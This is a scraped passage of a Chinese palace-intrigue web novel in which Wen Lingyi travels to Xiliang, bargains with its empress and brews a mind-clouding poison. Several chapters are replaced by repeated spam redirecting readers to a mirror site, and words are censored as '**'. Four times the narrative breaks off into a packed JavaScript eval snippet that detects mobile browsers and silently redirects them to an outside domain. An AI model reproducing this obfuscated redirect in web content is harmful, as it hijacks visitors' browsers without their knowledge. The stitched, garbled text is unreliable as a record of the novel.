提前一晚温令仪已经被悄悄的护送离开了京城,裴祈安追上来的时候,温令仪正在马车里看书,她抬眸看裴祈安弯腰进来,坐在自己对面,轻声:“玉郎,来的很快。” “怕有人对阿宁不利,墨染在清理江湖上的一些势力了。”裴祈安说。 温令仪把书放在一边:“这是不是大势所趋?” “怎么说?”裴祈安拿了水囊喝水。 温令仪抬眸能看到他滚动的喉结,缓缓地说:“天下归心之象,大灾难将来之时,人人都生出了匹夫有责的心,或许真的能让一切都换一种方式发生,再尘埃落定,这片土地上的海清河晏,可期了。” 裴祈安缓缓地放下水囊,凝眸看着温令仪,抬起手捏了捏她的耳垂:“或许会如你所愿,但每一步都是必然,你去西凉,无烬不能露面。” 无烬一直都跟在温令仪身边,在晏怀卿眼里,无烬是个叛徒。 温令仪问:“难道是玉郎在身边吗?” “不然呢?你的安危交给旁人,我怎么能放心呢?”裴祈安把水囊放在一旁。 温令仪摇头:“你是做大事的人,总要围着我转可不妥当。” “这就是做大事。”裴祈安靠在软枕上:“阿宁,我累了。” 温令仪不说话,听着裴祈安愈发绵长的呼吸,知道他确实疲惫的厉害,马车缓缓而行,倒也不妨碍他小憩。 漠北。 温慕阳接到飞鸽传书,从校军场策马归家,翻身下马直奔书房。 “祖父,父亲,小妹这次真的来了,裴祈安护送,最多十天就到漠北了。”温慕阳神色激动,把飞鸽传书递给镇国公温城。 温城看过之后递给了儿子,端起茶抿了一口:“看来,已经万事俱备了。” “父亲,如今西凉那边有夺嫡之象。”温长安看着温城:“您觉得是否是可乘之机。” 温城微微摇头:“要看裴祈安的意思,也好看萧玄策的想法,温家在漠北按兵不动,进退都可,朝廷那边已经乱了阵脚,等裴祈安到了,再议不迟。” “是。”温长安恭敬地应声。 温城起身背着手往外走。 温慕阳看看祖父的背影,回头坐在父亲身边:“父亲,祖父这是何意?温家要置身事外?” “并非置身事外,而是温家当年辅佐郎御,不得善果,如今辅佐裴祈安,还要再观望,你只管练兵,镇守漠北,不让西凉踏进大夏半步,余下的都不必理会。”温长安说。 温慕阳心里发苦,他知道自己最擅长的便是带兵打仗,论计谋和城府哪里是祖父和父亲的对手,大哥倒是可以,但大哥一直都没回来,外界只知道大哥去了苍山,他却知道大哥根本不在苍山,但到底是在西凉还是西域三十六国的某处,完全不知道啊。 温长安拍了拍温慕阳的肩膀:“温家,各展所长,才能无坚不摧,上下一心,才能铁桶一般。” “是,儿子明白。”温慕阳决定自己还要精进,不单要学兵法奇谋,还要读书!必须读书! 等待温令仪到漠北的日子,温老夫人恨不得每天都到门口往京城的方向眺望一番。 数着日子,总算到了温令仪该到漠北的时候了,温老夫人索性直接搬了一把椅子坐在门口,看到远处来的马车,兴奋的抬起手指着马车来的方向,回头吩咐身边伺候的曹嬷嬷:“快去告诉夫人,二小姐到了。” 温令仪远远地看到了祖母,这些日子的分别,祖母的头发在阳光下都在发光,满头银发的她笑得眉眼弯弯的慈祥模样,让她眼眶忍不住发酸。 下了马车,温令仪快步到温老夫人跟前,直接跪倒在地:“祖母,阿宁回来了。” “好,好,回来就好啊,我的阿宁真是厉害,全须全尾的回来了呢。”温老夫人双手扶着温令仪站起来,笑着端详着温令仪的模样:“走,回家,这里不是说话的地方。” 温令仪搀扶着温老夫人一转身,见到立在门里的温夫人。 温夫人眼圈泛红。 “母亲。”温令仪出声。 温夫人点头:“这可是脱离苦海了,我得儿啊,得了自由身,这才是真正的归家了呢。” 在后面的裴祈安看着温家女眷离开的背影,轻轻地吸了口气。 “王爷一路辛苦了。”温城、罗无咎从旁边迎过来。 裴祈安行晚辈礼:“玉琢此番前来,是要请二位老人家指点迷津的。” “请。”温城抬手。 裴祈安从善如流,三人往书房来。 书房里,罗无咎打量着裴祈安:“你小子苦心经营到现在,准备什么时候动手?” 裴祈安挑眉,怎么?都如此直接了? 第217章 宋曦月临盆,温长安试药 整站已迁移到新站点 手输请前往 (1)(3)8du点cc 继续欣赏 整站已迁移到新站点 手输请前往 (1)(3)8du点cc 继续欣赏 整站已迁移到新站点 手输请前往 (1)(3)8du点cc 继续欣赏 整站已迁移到新站点 手输请前往 (1)(3)8du点cc 继续欣赏 第218章 你以为我是傻子? 内容已转移至新网址 ①38du。Cc 欢迎访问 书友论坛,精彩互动 内容已转移至新网址 ①38du。Cc 欢迎访问 书友论坛,精彩互动 内容已转移至新网址 ①38du。Cc 欢迎访问 书友论坛,精彩互动 内容已转移至新网址 ①38du。Cc 欢迎访问 书友论坛,精彩互动 第219章 你不觉得母亲有些不一样了吗 内容已更新,点击阅读完整版 ①3⑧du点сс 提供无删减版本 内容已更新,点击阅读完整版 ①3⑧du点сс 提供无删减版本 内容已更新,点击阅读完整版 ①3⑧du点сс 提供无删减版本 内容已更新,点击阅读完整版 ①3⑧du点сс 提供无删减版本 第220章 你这个蛇蝎女人!我要杀了你! 当前为缓存页面,已不再更新 请前往 138du#cc 浏览最新章节 手机电脑都可访问 当前为缓存页面,已不再更新 请前往 138du#cc 浏览最新章节 手机电脑都可访问 当前为缓存页面,已不再更新 请前往 138du#cc 浏览最新章节 手机电脑都可访问 当前为缓存页面,已不再更新 请前往 138du#cc 浏览最新章节 手机电脑都可访问 第221章 你都不装了吗? 内容已更新,点击阅读完整版 ①3⑧du点сс 提供无删减版本 内容已更新,点击阅读完整版 ①3⑧du点сс 提供无删减版本 内容已更新,点击阅读完整版 ①3⑧du点сс 提供无删减版本 内容已更新,点击阅读完整版 ①3⑧du点сс 提供无删减版本 第223章 你这几日做什么去了 内容已更新,点击阅读完整版 ①3⑧du点сс 提供无删减版本 内容已更新,点击阅读完整版 ①3⑧du点сс 提供无删减版本 内容已更新,点击阅读完整版 ①3⑧du点сс 提供无删减版本 内容已更新,点击阅读完整版 ①3⑧du点сс 提供无删减版本 第224章 你的目的,竟然是我 耶律齐死在了雁门关。 消息送到燕京宫里的时候,皇后佛尔果春一口血喷了出来,跌坐在椅子上,瞪大双眼不敢相信这是真的。 “我儿、我儿**了?”皇后捂着心口,眼前一阵阵发黑,强压下心里的慌乱,问道。 来人跪在门外,哭诉:“被刺客所杀,那些刺客武功高强,我等护卫拼死保护王爷,唯有小人活了下来,皇后娘娘,小人带回来了一柄断刀,或许能找到蛛丝马迹。” 说着,从怀里掏出来断刀,只有三分之二的刀刃,双手捧着举过头顶。 皇后不用旁人,自己亲自走出来,拿过去断刀仔细看着上面的纹路,声音沙哑:“龙鱼纹,竟是龙鱼纹。” 再抬头,双眼里竟是杀意,握着龙鱼纹的手过于用力,鲜血顺着刀锋滚落浑然不觉,她佛尔果春一辈子只有一子,这一子注定是未来的西凉皇帝,对未来的皇帝出手,只有觊觎皇位的人,从牙缝里挤出来三个字--耶律安! “退下,好好疗伤。”皇后说。 报信的侍卫却无声无息的栽倒在地,伺候在皇后身边的嬷嬷赶紧过去试了试鼻息:“皇后,已经**。” 皇后看着地上躺着的侍卫,发现其下腹部破开的口子还缠着一节肠子,显然是撑着最后一口气回来报信儿,怕有人蒙蔽了皇后。 皇后深吸一口气,吩咐把人抬到皇上跟前去,至于断刀,她收了起来,转身回去自己住着的大殿里,脸上没有悲戚之色,只剩下了冰冷。 “查耶律安,彻查!” 暗中的影卫应声离去。 皇后静静地坐在椅子上,抬头看着外面明亮的阳光一点点儿偏移到最后只剩下了漫天红霞,端起茶盏抿了一口茶。 “主人,耶律安最近没什么动向,倒是收了一个义子。”影卫回来禀报。 皇后放下茶盏:“那义子是何人?” “是晏怀卿的儿子叫晏明昭,三岁半,据说天资聪慧,把温家的兵法默成册,送给了耶律安。”影卫说。 皇后眯起眼睛,看着宫女点亮了酥油灯,外面也挂上了灯笼,良久才问:“前几日是不是晏怀卿一直都要见本宫?” “是,不过真正要见您的是晏怀卿的妻子,温家的二小姐温令仪,但大夏密报,温家这位二小姐在得知晏怀卿投靠西凉时,就求了大夏皇帝,休夫的事闹得很大,都昭告天下了。”影卫说。 皇后抬起手,长长的护甲抵住了额角,轻轻地、有规律的点了几下后,起身回去休息了。 是需要休息,因为她从入宫到现在,儿子遭遇不测,又成了孤身一人,朝臣应该没有得到消息,皇上并不曾过来看望,而她作为西凉最贤淑的皇后,不哭不闹,静静地等待才是最合礼数的。 翌日。 温令仪早起就装扮妥当,不浓不淡的颜色,襦裙和披风都是海蓝色绣兰花的款式,妆容不寡淡,可也不浓烈,整个人开起来有精神,又不招摇。 刚装扮好,门外来了报信的丫环:“夫人,皇后娘娘召见。” 温令仪起身,随后拿了针囊放进宽大的袖袋中,身边没带任何人,走出这个院子,迎面看到了晏怀卿。 “你要入宫去?”晏怀卿是仗着胆子来的,他知道温令仪不会让自己好过,入宫被皇后拒绝,他心里高兴还来不及呢。 可突然皇后要见温令仪,他觉得要坏事。 温令仪淡漠的看着晏怀卿:“你觉得,你能拦得住我?还是你敢拦住我?” 看着温令仪从自己面前走过去,晏怀卿的拳头攥得咯吱响,确实拦不住,也不敢拦,可这样坐以待毙,自己哪里还有活路? 温令仪坐上马车往宫里去,马车是宫里派来的,温令仪在马车里低垂着眉眼,心里早就有了盘算。 到了宫门口,温令仪看着引路太监的打扮,竟跟大夏宫里的太监没什么不同,甚至穿着都有些相似,一路到了凤仪宫。 皇后坐在椅子上打量着进门的温令仪。 人淡如菊不至于,可也太普通了些,跟那些消息倒是对应得上。 她早就把温令仪的底细摸了个透,当然,这是她认为的。 温令仪没有抬头看皇后,可真要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15945216|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说两个人谁更了解谁,显然温令仪占上风,因温令仪更了解佛尔果春背后的海蓝一族,能坐稳后位,海蓝一族功不可没,但耶律齐的死却给了海蓝一族致命一击,他们过于强大,强大到让西凉皇帝忌惮非常,否则也不会有耶律齐。 西凉皇帝耶律昌德的后宫佳丽何止三千,皇子、公主也有三十几个,但夭折居多,能活下来的只有四个皇子,皇后手里有耶律安,虽说是耶律昌德和通房所生,可通房临盆日就**,一直都寄养在皇后身边,甚至都无人知道,算是皇室密辛之一,皇后手里还有亲生子耶律齐,所有人都笃定,耶律齐注定是西凉的下一任皇帝,不止皇上宠爱,更因海蓝一族的强大。 耶律齐的死,是预告,预告海蓝一族会衰败甚至被连根拔出。 这边是君臣的较量,而臣到任何时候,生杀大权都掌握在君王的手里,除非自己成为君王,不管是在大夏还是西凉,天下一理。 “你,敢潜入西凉,是什么目的?”皇后率先出声。 温令仪惊叹这位西凉皇后竟如此精通大夏官话,神色不变行礼后,回道:“并非是我潜入西凉,而是因晏怀卿和晏明昭,不得不来西凉。” 皇后微微扬起下巴,看温令仪恭顺的模样,嘴角噙着一抹冷笑:“温令仪,你和传言中的不一样。” “皇后所言,温令仪无可辩驳,只是在婚姻里,遭受**,饮泣吞声的人是我,为博活路,左右突围,不停抗争的也是我,终究在我眼里,人活着就只有这一辈子,若一味地忍让不能让自己过上太平日子,那就掀了牌桌,重开一局也是放自己一条活路。” 这话,让皇后良久都没出声。 温令仪也不着急,自己能见到这位皇后的机会并不多,若是不能让她信服,这边是最后一面,走到今天,一路上都是抱着破釜沉舟的心思,此时此刻也不例外。 “你的目的,竟然是我。”皇后淡淡的说了句,给左右使了眼色,屋子里伺候的人都退下了。 温令仪缓缓地吸了口气。 皇后说:“过来,坐在本宫身边来说话。” 第225章 看来你的心上人是怕本宫知道啊 温令仪走到皇后身边的矮凳前,坐下。 “本宫的女儿若是活下来,应该也是你这么大。”皇后说:“抬起头来,让本宫看看模样儿。” 温令仪抬头。 她有些意外,这位西凉皇后鬓边竟然有一缕极为显眼的白发,容貌绝美,是那种让人看一眼就会起恭敬心的容貌,端庄也凌厉。 同样,皇后看到温令仪的时候,竟有些心里发酸,眼前的姑娘年纪不大,可一双眼睛却如同能看透世事一般沧桑,若是换做旁人,自己会怀疑刚才那番话是不是鹦鹉学舌,可看到了温令仪后,她竟有一种同病相怜的心酸。 “晏明昭并非是你亲生子。”皇后说。 温令仪无奈的笑了:“皇后娘娘,我不敢隐瞒,其实在最开始就知道晏明昭并非我亲生,只是我当时身体虚弱,救不了我自己的亲生骨肉,甚至晏家人残害我骨肉的时候,我都不知道。” 皇后点了点头,态度微冷。 温令仪装作没看出来,又说:“也是命不该绝,我的孩子被人救了,并且还送还到我身边,只是我很久都被蒙在鼓里,等我知道的时候,除了感谢上苍垂怜,还有庆幸。” 皇后以为温令仪要隐瞒,没想到竟然说了,甚至还说了自己不确定的消息,原来出现在温令仪身边的小女娃,竟是她的亲生女儿。 “你来西凉,求见本宫几次,所为何来。”皇后问。 温令仪说:“示警,晏怀卿野心勃勃,带着晏明昭和一名会易容术的女子乔装成我的样子来到燕京,其真正的目的并不是想要去温家,因为他知道我在京城求圣旨准许休夫,吾皇早已昭告天下,温家人怎么能不知?但他还是安排那女子乔装成我的模样去漠北,其实是在迷惑西凉皇帝和平南王,我杀了那易容成我的女子,取而代之来西凉,是断定晏怀卿会搅动风雨,趁机掌握兵权,之所以求皇后娘娘,而不是西凉皇帝,是因为掌握兵权的人是您的儿子,您自会仔细甄别我的话,并且能迅速做出反应。” 这一刻,西凉的皇后恨不得给自己两个耳光,若自己能早点儿见温令仪,或许就能救下自己唯一的儿子了,如今说这些都太晚了。 “你告诉本宫这些,是让本宫答应你什么呢?”皇后问。 温令仪神色都肃穆起来:“杀掉晏怀卿和晏明昭,这二人对我和我的家族坏事做尽,而我本是个闺阁女子,只是略懂岐黄之术,父兄都是在朝之人,就算是抓到了晏怀卿也只能送回京城受审,而我,想要让他死!” 西凉皇后是相信温令仪的,毕竟若是换做自己,哪里会等到如今才想着弄死晏怀卿,甚至是斩草除根? “本宫可以答应你,但是你得为本宫做一件事。”西凉皇后看着温令仪。 温令仪抬眸,眼里都是感激之情,心里却在盘算晏怀卿找没找到自己特地留在那屋子里的解药,是不是按照自己预想的那般逃走了,若是这个时候晏怀卿逃走,可就真是锦上添花了。 这时,一个老嬷嬷进来到西凉皇后耳边低声:“皇后娘娘,那个晏怀卿悄悄离开,直奔雁门关逃去了。” “嗯。”西凉皇后让老嬷嬷退下,看着温令仪:“温令仪,晏怀卿逃往雁门关了。” 温令仪惊了一下:“怎么会?他为何去雁门关?” “因为,本宫的皇儿,平南王,**身亡了,雁门关如今群龙无首,他此时回去雁门关,召集旧部,能拿到兵权。”西凉皇后神色冷凝。 温令仪惊得站起来了:“这么快就动手了?这、这可如何是好?” “慌什么?”西凉皇后拉住了温令仪的手,轻轻地拍了拍:“你刚才说的很好,人就活这一辈子,要敢掀桌子,重开一局。” 温令仪看着西凉皇后:“可如今,平南王被害了,兵权旁落,皇后您都要自保,也要为海蓝一族多谋划,我那点子所求,算不得什么了。” “你说对了,但不是你的所求不算什么,而是本宫要你出手相助了。”西凉皇后看着温令仪:“听说,你得到了上官子玉传下来的毒经?” 温令仪点头:“是。” “本宫不在乎什么大梁宝藏,但本宫需要你炼制出来天底下最毒的**,越快越好。”西凉皇后说:“在这之前,你不可离开本宫身边,所需之物,本宫都会为你准备齐全,至于你想要的,本宫也会都送到你手里。” 温令仪犹豫了。 西凉皇后并不着急,坐在椅子上慢条斯理的说:“西凉和大夏,不可能和平,但海蓝一族可以永远不跟温家为敌,温家有退隐之意,本宫不会让温家归顺西凉,因温家就算在敌国,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958309|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是令人敬佩的忠臣。” 温令仪抬头看西凉皇后。 “西凉,这次起兵是另有原因,但本宫不会对你说太多,现在本宫让你做的事,能保温家至少百年无忧,西凉在百年之内,会奉温家人为座上宾。”西凉皇后看温令仪:“如何?” 温令仪起身要跪拜。 西凉皇后扶住了她:“若你答应,是本宫最尊贵的客卿,免所有礼。” “皇后,我给晏怀卿下过毒,就怕他擅自离开燕京去搅动风雨,对平南王不利,他如今逃走,但必定会想尽办法抓我给他解毒,能得到皇后庇护,我一定要在西凉送晏家这些仇人归西的。”温令仪说。 西凉皇后点头:“好,这也是时局逼人,而你是助本宫的贵人,安排你住在东院,照顾起居的人都是本宫的心腹,安心就好。” 温令仪道谢。 西凉皇后让老嬷嬷进来,老嬷嬷带着温令仪去了东院,说是东院,其实是个独立的宫殿,跟凤仪宫有角门相连。 老嬷嬷一看就是得力的人,安顿好温令仪后,陆陆续续有人送来了各种草药、碾船、熬药的炉子等,所需之物一应俱全。 “老奴白音,若客卿有别的需要,吩咐老奴就可。”老嬷嬷恭敬的说。 温令仪点头:“白嬷嬷,我暂时要先成药方,之后才能炼药,转告皇后切勿着急,三五日后会有结果。” 老嬷嬷再次行礼:“是。” 温令仪住在宫里,但宫里的马车还是照例出宫,马车到了晏怀卿的府上,下来的人无论是衣着还是身形,都跟温令仪十分相似,如此是为了更好的保护温令仪的行踪。 温令仪在皇宫里,三日来废寝忘食,熬出来的药丸有九颗,放在匣子里让老嬷嬷传话,自己要见皇后。 自己进宫三日,未曾听到一点点风声,耶律齐的死就像没发生似的。 当温令仪来到凤仪宫,抬头看了眼立刻低下头,生怕自己的表情被皇后看出别的端倪来。 皇后看了看温令仪,又看了看裴祈安,笑了:“玉琢啊,看来你的心上人是怕本宫知道啊。” 温令仪听到这称呼,心里忍不住轻叹,她以为裴祈安交往的是西凉皇帝,没想到竟是西凉的皇后,看来,裴祈安布局多年,是真够缜密了啊。 第226章 我答应你,决不食言 裴祈安拱手一礼:“阿宁的事,总是需要我千方百计才能找到机会帮一帮,若非姨母这里行事方便,只怕都不会给我机会。” 温令仪疑惑地抬头看裴祈安,再看西凉皇后,这两个人的关系竟是如此亲密吗? 西凉皇后抬起手叫温令仪到身边坐下,颇有些语重心长的说:“你和玉琢投缘却也同病相怜,如今到了西凉,所求之事倒也无不可的理由,但国与国之间,总是要各为其主。” 温令仪垂眸:“您说的对,我是私人恩怨,无关国事。” 西凉皇后拍了拍温令仪的手背,她是私人恩怨,可裴祈安却不同,不过各为其主也说不出什么对错,只是如今自己和温令仪并无区别,一样是要面对夫家的豺狼虎豹,一样是要护住娘家的挚爱亲朋,说起来,何尝不是同病相怜? “这是我研制出来的**,没有名字,能控制人心智,若能连续服下七粒,就算是医术再高超的人也会认定是失心疯,无色无味,不可与茶同引,会降低药效,但参茶除外。”温令仪说。 西凉皇后接过去瓷瓶,看了眼裴祈安:“今儿姨母也送你一个顺水人情,带着温小姐出宫去吧。” “多谢姨母。”裴祈安起身行礼。 温令仪就这样被裴祈安秘密的带走了。 没有去晏怀卿住着的宅子,而是在大皇子府旁边的院子里住下了。 “若非你入宫,我是不能全身而退的,对吗?”温令仪看着裴祈安,心里已经明白了西凉皇后所谓的顺水人情是什么了。 裴祈安点头。 “你答应她什么条件了吗?”温令仪问。 裴祈安压低声音:“我会让海蓝一族成为麾下之臣。” 温令仪没有继续问,她不过是跟西凉皇后才一面之缘,一个女人在丧子之后会多疯狂?不可预判。 可难道这位就没想过成为女帝吗? 这个想法不是才有的,是在入宫见到西凉皇后第一眼的时候,就有的感觉,西凉皇后身上的英气是少见的,哪怕是江湖盟主墨染也英气,可二人的气质不同,墨染是洒脱,西凉皇后是贵重,也就是说权利浸染是从小就开始的,越是这样的人越是明白权利的重要性。 裴祈安早出晚归,温令仪倒闲下来了,无事可做的时候便反复推演自己刚制出来的**,竟从**的方子里寻找到了一线生机,果然对有些人来说是****,但对另外一些人来说就是九转金丹。 兴致冲冲的她眼里都放光了。 **不能找人试药,有损阴德,更伤天和,但若能救因痹症不能动弹的人,意义就完全不同了,她可以稍作修改,让其毒性弱下来,未必不是传世良药。 夜深,裴祈安回来的时候,身上有了血腥气。 温令仪赶紧起身:“你受伤了吗?” “没有。”裴祈安握住温令仪的手:“又过了三日,我处理掉一些碍手碍脚的人,今日西凉皇帝早朝时候,提到了耶律齐,要彻查死因。” 温令仪勾起唇角:“不过是博弈罢了,西凉的皇帝心里也是不愿意耶律齐成为西凉的皇帝,那样会外戚干政,大权旁落的。” “阿宁说的没错。”裴祈安端起茶盏:“只是,海蓝一族并非是坐以待毙的人,如今他们盯上了耶律安,耶律安怎么做都是错。” 温令仪微微蹙眉:“没人提晏怀卿吗?” “没人提,晏怀卿回到雁门关那就是丧家之犬,西凉哪里还能容得下他?大夏恨不得把他**万段。”裴祈安说。 温令仪看着面前的茶盏:“萧玄策呢?” 看似是大夏和西凉的博弈,可萧玄策一直都是不能忽略的存在。 裴祈安抬起手碰了碰温令仪的鼻子尖儿:“担心女儿吗?” “囡囡在那边不知道过得怎么样,哪里能不担心?”温令仪苦笑:“只是现在时局,囡囡回来反而更不安全,也不知道什么时候才能安稳下来。” 裴祈安起身过来坐在温令仪的身边:“要慢慢来,操之过急会让我们有纰漏,西凉一旦内乱,大夏的压力就会少很多,祖父和罗老大人回京要整顿朝堂,永元帝如今犹如惊弓之鸟,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15959745|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在是谁都不信,也谁都不得不用,西凉一旦内乱结束,必定会和大夏开战,而这一段日子便是咱们可以操作的余地,甚至可以借西凉内乱,大夏主动出击,把战场放在西凉,大夏的黎民百姓就有了喘息之机了。” 温令仪轻轻地靠在裴祈安的胸前:“玉郎,你是胸怀天下的大丈夫,我是后宅妇道人家,所思所想是不一样的,家国大义在我心里已经没有什么份量了,但生而为人,我与那些黎民百姓没什么不同,求个安稳度日,便知足的。” 裴祈安轻轻地顺着温令仪的后背。 “所以,若有朝一日,你成为天下之主,也要念今日我们所说的话,天下是谁的天下?就算是百姓的天下,可百姓真会把这个天下当成自己的吗?奉你为主时,所求的便是安居乐业,既是乱了,那就不破不立,同时也不能留下后患。”温令仪顿了一下:“海蓝一族并非坐以待毙的人,那要用也得防,作为西凉人,从达官贵人到寻常百姓,他们的民心所向不是你,除非你能让这些人也把你当做皇上,那你和萧玄策的盟约才能真正的有效力。” 裴祈安下巴抵在温令仪的肩上:“阿宁还说心里没有家国大义,可这些话里有着殷切期待,为百姓说话的人,能有几个呢?” 温令仪勾了勾唇角。 “而我的阿宁,是最纯良且真诚的,没有私心杂念,让人不能不动容啊。”裴祈安贴在温令仪耳边:“我答应你,决不食言。” 温令仪刚要说话,就听到外面有很特别的鸟鸣声。 裴祈安往外看了眼。 “去吧,万事小心。”温令仪说。 裴祈安起身出门去。 “主人,大皇子耶律安入宫,带着晏明昭,还带上了晏明昭献出的温家兵法诡道。”属下禀报。 裴祈安抬头看向皇宫的方向,耶律安是想要去雁门关吗?兵权在手,安抚下晏怀卿,再发兵大夏,军功和兵权都握在手里,又能躲开海蓝一族的报复,果然是个有城府的人啊。 西凉皇帝和西凉皇后的博弈,这才正式开始呢。 第227章 难道要都死在燕京吗? 西凉皇帝耶律昌德坐在御书房里,奏折堆满了桌子,他脸色阴沉的看了不少,突然愤怒的把奏折砸在了地上:“欺人太甚,孤又不是瞎子,以为孤看不到吗?” 耶律安起身捡起来奏折,奏折上写着这几日**死在各自府邸的大臣,落款竟然是海蓝嘉善。 把奏折放在西凉皇帝面前,恭敬地退到一旁,坐下来没出声。 “你有何话说?”西凉皇帝抬眸看耶律安。 耶律安恭敬地起身:“父皇,儿臣不知道怎么说。” “怎么说?”西凉皇帝怒道:“这些**的人都是跟海蓝嘉善走得近的人,先有老六**,接下来就是朝中大臣,这些大臣都是老六的拥趸者,你怎么能不知道怎么说呢?” 耶律安跪倒在地:“父皇,儿臣若说海蓝嘉善犹如老狐狸一般,从皇**宫到诞下皇子,海蓝一族都在等着这位嫡子成为未来的君王,父皇封了皇弟为王,让其执掌兵权,这一切看似风平浪静,可皇弟刚出事,就接二连三**其的拥趸者,难道不是海蓝嘉善的断臂之举吗?” 西凉皇帝端起茶盏,参茶微苦,但这几日服用下来,身体反倒舒坦的很,抿了两口放下茶盏,看耶律安的眼神温和了许多:“细说。” “海南嘉善此举的目的有两个,一个是让海蓝一族置身事外,父皇会因为皇弟的死对海蓝一族放下戒备心,其二是这些拥趸皇弟的人是该**,因为皇弟不在了,不管父皇亦或是未来的储君,都容不下这些人的,他们作为臣子,由始至终只能忠诚于父皇,偏偏他们纷纷站队,所以活着没用,还能让父皇觉得是对皇弟出手的人,想要赶尽杀绝,更会鉴定的要彻查皇弟死因了,而他们的目标是儿臣。”耶律安轻轻地叹了口气,显得极为无辜又无奈。 西凉皇帝眯起眼睛:“你倒是拎得清,如今这局势越来越逼人了,当初海蓝一族让孤发兵大夏,推举老六为主帅,其实就有了逼宫立储之心,如今孤倒是看不透了,到底是什么人对老六出手的?” 耶律安抿了抿嘴角,似是下了很大的决心一般,单膝跪地:“父皇,儿臣并没有对皇弟出手,也从来没想过对皇弟不利,儿臣承蒙母后照顾长大,已经是恩大过天了,在儿臣心里也在期待着皇弟成为储君,乃至成为未来的国君。” 西凉皇帝皱眉:“你就是这幅性子,身为天家子,哪个不是又争又抢?你却避之唯恐不及,实在是让孤很失望。” “父皇,儿臣今日入宫,是想到了更可怕的一种情况。”耶律安抬头看西凉皇帝。 西凉皇帝冷笑:“海蓝一族想要谋权篡位,那是痴人说梦!” 耶律安垂首:“儿臣逾矩了。” “提什么逾矩不逾矩的话,打虎亲兄弟,上阵父子兵,你也不要在燕京城里如履薄冰了,听说你把晏怀卿的儿子留在了身边?”西凉皇帝说。 耶律安立刻回道:“是,晏明昭今年三岁半,但天赋异禀,过目不忘,兴许是日子过得他恐惧得厉害,找到儿臣说能默下温家兵法诡道,儿臣深知西凉军在温家的兵法下吃了很多亏,就留下了这个孩子,今日也一并带进宫来了,父皇可要见他?” “叫进来。”西凉皇帝说。 晏明昭被带进来的时候,十分恭敬的给西凉皇帝请安,跪在地上等着问话。 西凉皇帝微微俯身,打量着面前跪着的小人儿,又看了看耶律安,这么一个乳臭未干的小家伙,听耶律安的意思还是个有本事的。 “你怎么得到了温家兵法诡道的?”西凉皇帝问。 晏明昭回道:“回皇上,我小时候去过温家,彼时温家把我当成外孙,我尚在襁褓中无人防备,在温家书房里看到温慕阳再看兵书,我便见到了。” 西凉皇帝微微点头:“所以,你这是残卷?” “是全部,我从出生就能过目不忘,只是那个时候还小,口不能言,更不用说默下来了,不过深深地被温家的兵法诡道吸引,倒是烂熟于胸,等我两岁的时候,见过晏家的兵法,与温家的兵法简直天壤之别,如今求生艰难,我也知道了自己的身世,想要活下来就只能找到强大的人庇护,大皇子说,这世上最强大的人便是他的父皇,也怜惜我小小年纪,随时都可能夭折,便留在身边,并且把我带到宫里见您了。”晏明昭说。 西凉皇帝惊叹于面前这个小人儿的聪慧,小小年纪非但口齿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15959746|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伶俐,还能说的条理分明,这世上的神童偶有听说,但他生平还是头一次见到这般的人物。 “你还会什么?”西凉皇帝问。 晏明昭低下头:“还会推衍,不过也只是偶尔才能灵光一闪。” “哦?比如说呢?”西凉皇帝好奇了。 晏明昭深吸一口气:“萧玄策和裴祈安本该是两虎相争的命格,按照我的推衍,裴祈安应该早就死在小宛国了,可他非但没有死,还利用大夏江湖上的人帮萧玄策控制了西域三十六国,二人结盟后,对西凉和大夏,都将是极大的威胁。” “如此说来,你推衍的就不准。”西凉皇帝倒没往心里去。 晏明昭点了点头:“并且,我时常梦见一个小女娃,我们应该是同一个地方来的,这几年没机会寻找,不过最近我倒是知道我梦里的小女娃是谁了。” “你这是什么意思?”西凉皇帝疑惑地打量着晏明昭。 晏明昭说:“这个小女娃是裴祈安身边的女儿,叫囡囡,不知道是否有血缘关系,但这个囡囡很特别,她是温令仪从外面抱回来的女儿,并且还是萧玄策的义女,我的意思是改变我推衍结果的人,极有可能是她。” 